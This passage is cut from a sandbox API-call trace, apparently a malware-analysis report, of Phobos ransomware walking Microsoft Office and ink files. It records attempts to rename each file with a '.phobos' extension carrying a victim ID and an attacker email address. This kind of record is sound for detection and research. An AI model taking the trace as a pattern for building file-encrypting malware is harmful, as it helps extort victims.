shared\\clicktorun\\mso40uires.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.293] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=3177152) returned 1 [0149.293] CloseHandle (hObject=0x580) returned 1 [0149.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 0x20 [0149.293] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0149.293] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 0 [0149.294] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.294] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=9330784) returned 1 [0149.294] CloseHandle (hObject=0x580) returned 1 [0149.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 0x20 [0149.294] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0149.295] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 0 [0149.295] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.295] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=61024) returned 1 [0149.295] CloseHandle (hObject=0x580) returned 1 [0149.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 0x20 [0149.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.296] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.296] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=660136) returned 1 [0149.296] CloseHandle (hObject=0x580) returned 1 [0149.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll")) returned 0x20 [0149.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.296] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.297] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=635040) returned 1 [0149.297] CloseHandle (hObject=0x580) returned 1 [0149.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll")) returned 0x20 [0149.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.297] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.298] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=963240) returned 1 [0149.298] CloseHandle (hObject=0x580) returned 1 [0149.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll")) returned 0x20 [0149.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.298] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.316] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=5967976) returned 1 [0149.316] CloseHandle (hObject=0x580) returned 1 [0149.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe")) returned 0x20 [0149.316] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0149.317] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe")) returned 0 [0149.317] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.324] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10752) returned 1 [0149.324] CloseHandle (hObject=0x580) returned 1 [0149.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0149.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.325] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.325] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.325] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=9728) returned 1 [0149.325] CloseHandle (hObject=0x580) returned 1 [0149.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0149.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.325] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.326] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.326] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.344] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10240) returned 1 [0149.344] CloseHandle (hObject=0x580) returned 1 [0149.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0149.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.345] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.361] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=8704) returned 1 [0149.361] CloseHandle (hObject=0x580) returned 1 [0149.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0149.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.392] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.435] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10752) returned 1 [0149.435] CloseHandle (hObject=0x580) returned 1 [0149.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20 [0149.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.437] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.439] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=3072) returned 1 [0149.439] CloseHandle (hObject=0x580) returned 1 [0149.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20 [0149.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.439] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.447] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=44032) returned 1 [0149.447] CloseHandle (hObject=0x580) returned 1 [0149.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui")) returned 0x20 [0149.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.450] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.452] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=9728) returned 1 [0149.452] CloseHandle (hObject=0x580) returned 1 [0149.452] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui")) returned 0x20 [0149.452] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.453] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.453] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=3584) returned 1 [0149.454] CloseHandle (hObject=0x580) returned 1 [0149.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui")) returned 0x20 [0149.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.454] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft 